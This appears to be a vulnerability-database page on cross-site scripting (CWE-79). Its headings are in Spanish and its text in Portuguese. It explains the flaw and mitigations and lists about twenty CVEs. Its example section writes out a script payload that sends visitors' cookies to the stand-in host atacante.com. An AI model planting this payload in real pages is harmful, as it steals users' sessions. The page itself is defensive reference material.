Fallos del tipo CWE-79

30.295 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-45893MEDIUMOpenCart version 4.1.0.4 is vulnerable to a Stored Cross-Site Scripting (XSS) attack via SVG file uploads used in blog posts. The vulnerabilEPSS 0.3%CVE-2025-31818MEDIUMWordPress ContentBot AI Writer plugin <= 1.2.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-5237MEDIUMTarget Video Easy Publish <= 3.8.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via width ParameterEPSS 0.3%CVE-2025-32199MEDIUMWordPress Contact Form Builder by vcita plugin <= 4.10.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-36043MEDIUMquestion_image.ts in SurveyJS Form Library before 1.10.4 allows contentMode=youtube XSS via the imageLink property.EPSS 0.3%CVE-2025-68849HIGHWordPress Quote Master plugin <= 7.1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-1853MEDIUMBuddyHolis ListSearch <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'placeholder' Shortcode AttributeEPSS 0.3%CVE-2025-39427MEDIUMWordPress WP Post to PDF Enhanced plugin <= 1.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-31860MEDIUMWordPress WP AdCenter plugin <= 2.5.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-7050HIGHUse-your-Drive | Google Drive plugin for WordPress <= 3.3.1- Unauthenticated Stored Cross-Site Scripting via File MetadataEPSS 0.3%CVE-2025-26980MEDIUMWordPress Wired Impact Volunteer Management plugin <= 2.5 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-25085MEDIUMWordPress WP SimpleWeather plugin <= 0.2.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-33916MEDIUMHandlebars.js has Prototype Pollution Leading to XSS through Partial Template InjectionEPSS 0.3%CVE-2025-13989MEDIUMWP Dropzone <= 1.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'callback' Shortcode AttributeEPSS 0.3%CVE-2024-3814MEDIUMtagDiv Composer <= 4.8 - Authenticated (Author+) Stored Cross-Site Scripting via Attachment MetaEPSS 0.3%CVE-2025-49947HIGHWordPress WooCommerce Registration Fields Plugin - Custom Signup Fields plugin <= 3.2.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46440HIGHWordPress kStats Reloaded plugin <= 0.7.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46515HIGHWordPress Category Widget plugin <= 2.0.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-35653MEDIUMWordPress Visual Composer Website Builder, Landing Page Builder, Custom Theme Builder, Maintenance Mode & Coming Soon Pages plugin <= 45.8.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-4473MEDIUMSydney Toolbox <= 1.31 - Authenticated (Contributor+) Stored Cross-Site Scripting via aThemes: Portfolio WidgetEPSS 0.3%